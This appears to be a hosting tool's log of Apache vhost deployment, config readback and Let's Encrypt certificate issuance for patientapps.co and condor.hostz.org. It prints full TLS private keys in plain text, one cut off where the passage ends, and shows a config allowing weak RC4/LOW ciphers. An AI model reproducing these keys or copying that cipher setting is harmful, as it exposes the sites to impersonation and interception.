    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_www_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_www_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_www_co.conf= 1'
fi


2025-11-14 06:00:38: 

chmod 755 /tmp/pkp608699; /tmp/pkp608699; rm /tmp/pkp608699

2025-11-14 06:00:38: 




2025-11-14 06:00:38: 

PUT: /tmp/pkp259678

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-14 06:00:38: 

chmod 755 /tmp/pkp259678; /tmp/pkp259678; rm /tmp/pkp259678

2025-11-14 06:00:38: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-14 06:00:38: Establishing a connection
2025-11-14 06:00:38: 

PUT: /tmp/pkp516555

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-14 06:00:38: 

chmod 755 /tmp/pkp516555; /tmp/pkp516555; rm /tmp/pkp516555

2025-11-14 06:00:38: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-14 06:00:38: 

PUT: /tmp/pkp274463

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_www_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-14 06:00:38: 

chmod 755 /tmp/pkp274463; /tmp/pkp274463; rm /tmp/pkp274463

2025-11-14 06:00:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_co.conf	1820

<VirtualHost *:80>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2025-11-14 06:00:38: 

PUT: /tmp/pkp644499

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-14 06:00:38: 

chmod 755 /tmp/pkp644499; /tmp/pkp644499; rm /tmp/pkp644499

2025-11-14 06:00:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt	5368
a5:1f:89:5e:40:b2:b8:12:61:64:2a:60:1a:4c:aa:b2

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBiIoZxXJlBRxbpnXxdUNUrAvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTE0MDUwMjA1WhcNMjYwMjEyMDUwMjA0WjAZMRcwFQYDVQQD
Ew5wYXRpZW50YXBwcy5jbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJQOV4RMQLF/gqwUUE979lIiVeMFFuubPX7iD8DagIO+eorvkFBsip7BqyDRK2pu
uUbcEsCdft85HHNnXIS11yI+QhzkqOeK8UkfKWOqA122bCXb+5ArlCFSG5ou54Nc
1KbPLuSjYJufvFRkdsaG/03uVgPgGHO3hhMooUaHXos4kQ3Q7LoLrzEcObPKgNHI
dLkUwpbfDu5UxDjJRqf5ZmC+yGLXN5iUHj3qp5RAI5bwNvFPxvS4PRK2+j85t0FH
0Z/z4zD2cWsCwRt/YQ8FjnjVrjR7ctvJivFPF9ENyH8noiKYMOdMpef8bpwZHFv9
S8vBX4kahKXO5hypVd6nijECAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUi6NlcQDclRiPQFaIAvuqw4i2RjEwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnBhdGllbnRhcHBzLmNvgg5w
YXRpZW50YXBwcy5jbzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzQ4LmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB2AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAAB
moDziKAAAAQDAEcwRQIhAIiUSnTDaAeg3dfCObrdaQOISiOQdbYE+2qwsSWM1ma5
AiAYxyA7zqfQR6lQH3aT3pB+d+aRSaouI0jE4qxhF3mj1gB1AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmoDzkJ8AAAQDAEYwRAIgGKbrCiLgS7NR
zWA6WKjvMdqqY2ap0bX0dzEPgeH6VyACIFMPLTVFvr3FZNL8aCnT8i2rF7ngysO4
nX69ivDnLtywMA0GCSqGSIb3DQEBCwUAA4IBAQCNNSHMGfrbCTxk2XUtcg0fujp7
GdyFkPGI+Hpcy+4Z3Y/B93wRbwBU51Bp7NaO81ukfuCFaLTniJs6O9qPnZPAN7Lr
dcRSjdd+WB7h11dsBc3G5xkel2GJLSF9rdb43b3DHOnQiIJ3D54UO3yyfjPZST/T
Do2+athFou1NtR4nHrF+ViilKLirFUls/lQEK8DYCep9RHiDAGmsZi7IJLxJwHua
qPJuiLm/l/6WFOOrl1kGle64vbfxDDJcA/D8h+0WDnBgLB8ae6GrObnUxFcq9RW1
NaNh1aoFDu+ncACf5DICNGfy6Jz34zOAgYPyXUyNI0ASvMUuFhkHrWmPbb2V
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCUDleETECxf4Ks
FFBPe/ZSIlXjBRbrmz1+4g/A2oCDvnqK75BQbIqewasg0StqbrlG3BLAnX7fORxz
Z1yEtdciPkIc5KjnivFJHyljqgNdtmwl2/uQK5QhUhuaLueDXNSmzy7ko2Cbn7xU
ZHbGhv9N7lYD4Bhzt4YTKKFGh16LOJEN0Oy6C68xHDmzyoDRyHS5FMKW3w7uVMQ4
yUan+WZgvshi1zeYlB496qeUQCOW8DbxT8b0uD0Stvo/ObdBR9Gf8+Mw9nFrAsEb
f2EPBY541a40e3LbyYrxTxfRDch/J6IimDDnTKXn/G6cGRxb/UvLwV+JGoSlzuYc
qVXep4oxAgMBAAECggEALUAM43RiuV0dVPaIbSKX8BZqZY4iqTOzIdp5shmV+a33
ygrZ8pqZ61eJs+f5+veITO3qFVCNfC/6UBMhJbZl4CNjFW2Vad7/S7focHt/t96P
QyruwetvxJdRtFftjiqLG8hqrpp4Zlf1uV1TJ+4OjYTwaRLOpl9K7QQX9nRdIvNZ
7mQiCFgr0xAIhIcH0ggOuwknaHhjpYo3NdwZ1AFLctMl2R5+nEr/Hd0m49cpTgGp
fNNLxN3funvDQAWjPJC1FwsJUtbzcJ1T8zONRbQ1F3fUH9IZFREp7vDMgwW3OL1s
en6Jlaps7WUKn5ZTajuFwtACgnB+2NhmcIq5jikIOQKBgQDFJOeQg+ujspWWFsqU
vLaJf3Btc0t8QaFOp55ruLs/Z7Ydinxu+AAIez9Ymm4AxQeMVaf1OpoR8insTnX4
/2R1+tALUELup2AcLpn/hVH1O+nIz1hXB/+/UK7eWx1vfFyE6JwVBIftXDEC5wbT
RdgskDZ65oixOoivSwCB1QvszwKBgQDAQcnjbS6wh7RSuqGld6mxuRgE2seJzj1a
1B9HnxErsz4vU+pQ3F9IO9P3q4zmgUzzh3o1q8hGEIfEP70h187WHTog25xmRLzJ
XpnDeV/Sp1KoveJmjgB1gkZbTn6LSO0lj4bUvsB+4ZsBuHwL/KxyDE66yOzB/pH2
ZD2fFojY/wKBgDNyuRfGxaT3wv/jPMTqJrzlTCLUFtv7iKwtJDO6hus6FpXJAUY4
ZFHSUCrASnra8GhYJjfiLjkGuJgZtcHgbIg5hzecn4sGlRdltfyv/z5/fzhPnB9C
UCTOWoRexOTGUKLCzZDSmOKBz6yRO//A13RxwjX6maueufL9IMnBHpaTAoGAS9Fm
AadME1fg+AMbvjpblHfPDhMNP74ymgAvObp0NgygyF9Kd4sAlGbrp69iiICTTTKv
Mj1FZMQeFnmgZ5lIu02ZX93bZsVSwgLplpnl/Rf5VAxWHWWArtaqUlW5N8qRow9f
98Ql+6OS0nHjkYKaqvtJjQWxwKtY+pb7aiKj4xcCgYBszkbBW7g8st3PFigUcGJP
cIrs9NGJgoFMfhlUCQ3gzUjdCTXH4TTUXvxJtujPefKO0yj8LVOckV2mdmfYhVU/
IhD/6z8hQ/PiCKcPNqs7y0NIBLnpRKaFmLVA1LOmAMKWL2Wf6I4Fj4naaLXWVsBU
6BeIEB8MU1RLgaNaHdFDqw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-14 06:00:39: Establishing a connection
2025-11-14 06:00:39: Establishing a connection
2025-11-14 06:00:39: 

PUT: /tmp/pkp651832

#!/bin/bash
if [ -d "/var/www/hostz_condor/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-14 06:00:39: 

chmod 755 /tmp/pkp651832; /tmp/pkp651832; rm /tmp/pkp651832

2025-11-14 06:00:39: 


1


2025-11-14 06:00:40: Establishing a connection
2025-11-14 06:00:40: 

PUT: /tmp/pkp255854

#!/bin/bash
mkdir -p "/var/www/hostz_condor/.well-known/acme-challenge/"
cd "/var/www/hostz_condor/.well-known/acme-challenge/"
cat > TmPRfRCFFEcvA4yd0ELPAE5nNABGgVpg03mmpgF3b9E <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
TmPRfRCFFEcvA4yd0ELPAE5nNABGgVpg03mmpgF3b9E.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 TmPRfRCFFEcvA4yd0ELPAE5nNABGgVpg03mmpgF3b9E


2025-11-14 06:00:40: 

chmod 755 /tmp/pkp255854; /tmp/pkp255854; rm /tmp/pkp255854

2025-11-14 06:00:40: 




2025-11-14 06:00:45: Establishing a connection
2025-11-14 06:00:46: 

PUT: /tmp/pkp486663

#!/bin/bash
mkdir -p "/var/www/hostz_condor/.well-known/acme-challenge/"
cd "/var/www/hostz_condor/.well-known/acme-challenge/"
rm TmPRfRCFFEcvA4yd0ELPAE5nNABGgVpg03mmpgF3b9E


2025-11-14 06:00:46: 

chmod 755 /tmp/pkp486663; /tmp/pkp486663; rm /tmp/pkp486663

2025-11-14 06:00:46: 




2025-11-14 06:00:46: Establishing a connection
2025-11-14 06:00:46: 

PUT: /tmp/pkp337060

#!/bin/bash
temp_file=$(mktemp)
TARGET=452589c154b484450eedc2df554d68f3.crt

cat > $temp_file <<'endmsg'
14:bf:94:e1:97:82:13:9d:9c:69:8f:0b:b9:5c:f8:d9

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBv5STSHH+2vPOt1UcNQz678+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTE0MDUwMjE1WhcNMjYwMjEyMDUwMjE0WjAbMRkwFwYDVQQD
ExBjb25kb3IuaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA5A+CsA9KzfZx4NOB+XQ0aHFV29KROf0iuo7+uPKy6jEKdF4N+gRlS/XAWFQr
/W+jm/+yu3Z5WFw5K1JfnpwbkUX6lPaCcXw/Azk0Bq7PzBVpjw/WpJNYKaUmxXxO
tnV67Md80R7dDjEifOhVrNqKr7GjasIaRPT/HwMAIVJ2X7jUdoRB6OQGn+Fp9i7M
AEFZSrqYLq2sw2Qj/zCoeLSsXQpr27FXK4sepSSxliINGbpMPfylDYvap8CnA4LA
rionv+jx01xYScp6l2eAEYLI0TiHpX8edeKGZs6Xglc+Qy/T+jDa9WlXnSR6/8BU
ctYNt1e7bFIUYUy2AH9DvuDNewIDAQABo4ICITCCAh0wDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBT/VR3N0u2jl//fjA4HEODls90TdzAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMBsGA1UdEQQUMBKCEGNvbmRvci5ob3N0ei5vcmcw
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
Mi5jLmxlbmNyLm9yZy82My5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgDL
OPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZqA87AwAAAEAwBHMEUC
IBaRy6TTBRCeDkXegsH7TGfP3PTZS3cQsJifzPlAiL5sAiEAn4/FJamY7hv7nFNm
b0kiGTU1xo+pe60smJDMXOtS04QAdwAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0h
qSWsYcVOIQAAAZqA87AMAAAEAwBIMEYCIQDfMt6huFnxYHrilrlq/pR6YPfFZ3Q3
/zogU+snCAjQUwIhAIJ/TDda32w1djcAq+EcE4VTgyEdGc8M/hC0KmwBNNE0MA0G
CSqGSIb3DQEBCwUAA4IBAQDC2YwaM+RBe6FiimY6JtmzqexmCUkAVoIB0TaY7khm
ibo8jzh/OPSdiqPwCYpWUFJ5Dg2ZZlTUcQ/vz4IgeaiNzVCKYMPhDFFD7xTcJFJ7
/irR1tw3wP4CRWmENLs+021e34eUlBG2dvUxO9KKZyNdG7U3TTVCP+PbA2m3aK4y
9YBXgf4+fEDIhwKUJjUNkxRUniKIniKledQp9o0eMu3Ep1WDIaeyQvZVI69cFz2p
+aUugUKv+OkJoacy9mZgUTaA+CHVRhDlRqJ6b8g9lsdfh/imCLSy9Wli272QsBbv
aU2igce0nmqvZHf7UPxYY21aaIe7cUFL81gSQGCysNm1
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDkD4KwD0rN9nHg
04H5dDRocVXb0pE5/SK6jv648rLqMQp0Xg36BGVL9cBYVCv9b6Ob/7K7dnlYXDkr
Ul+enBuRRfqU9oJxfD8DOTQGrs/MFWmPD9akk1gppSbFfE62dXrsx3zRHt0OMSJ8
6FWs2oqvsaNqwhpE9P8fAwAhUnZfuNR2hEHo5Aaf4Wn2LswAQVlKupgurazDZCP/
MKh4tKxdCmvbsVcrix6lJLGWIg0Zukw9/KUNi9qnwKcDgsCuKie/6PHTXFhJynqX
Z4ARgsjROIelfx514oZmzpeCVz5DL9P6MNr1aVedJHr/wFRy1g23V7tsUhRhTLYA
f0O+4M17AgMBAAECggEBAJ+pACwzuIHyq4zjZhX2tY388kff5Y38WqjS3R8rwffU
d2Y6RnynQSdpl8v+uYFG+/qFi2JUMeWbQubCV3DaBy6wGBrbbTz358Fg9bxL++v7
fZgLVZCIGuuk1DzjptNz8af8jLR2b/m0ill56ikGIpuXuDlQREXMYyMZ3ah2a6rc
j4du73NThgSVVxy8n5tAv+w5gQfouaDElyN5PSexEcDM3r3pHMs27pybVlMhHDuS
8B/m9QK/V2bgGlGtUtuVh71ySR4MdmDS/FRa2fRjtOUifjQLozead4Zj2FMhuFjm
Ibw5HS91nENPnK/w8nQmIc1YhDvYP5HJ8MvU2mT9aVECgYEA8iFF6bZzCiEtpKNc
RCBhlpm/CRMwn1alJGiXP8VVXCGnh3ja2/WQLKNP7SqfAU7Gntg+IUZ1q4DXhDAI
hQRJMlCvlnx/18emAZAyjczBjlas29c3xHlrb3TqCdQ/mu3+Jr34YJ4SKO7FAdeK
NJ2aoRoxaRNiSDD3TXjVOpCCwukCgYEA8R/qjMoUZrbTcU4Ax1DavON+K/GJVIu9
ZcYOwyWv3UZvpOnG5LWG7EvRTXyx3lTf050Fd1HpeT4z8mmlBqhMK4BdVjn6UqXJ
8SrU9qWykx4wZEb3rDCabMK/jP/cpEW1NTcG3IGhP4mnaWcS5dZmjLdtllsTnHAc
nYhGOztB5sMCgYBzWA5qC5Q52xxXNcsaWSKkD5HFzPJ4tVnuQjTrGCJVxWJ9UsFP
z2djHFlS7d7ZTKGpwfG3AE3F6ZbBTfCBDU2hPnanBaARNvaKABtVGZmLKRcnkxrp
6b2YVuW20PmL4JwV8KGFxUd5YGVRP1CDSCEFZejr2WQUZ98ndMx/HaBtIQKBgQDI
50vZZKJc9qX0OQbjC1ZFndLJsGU5QXlcLAquxF7kokRxhqtGco1por5Qrr3Qvq0D
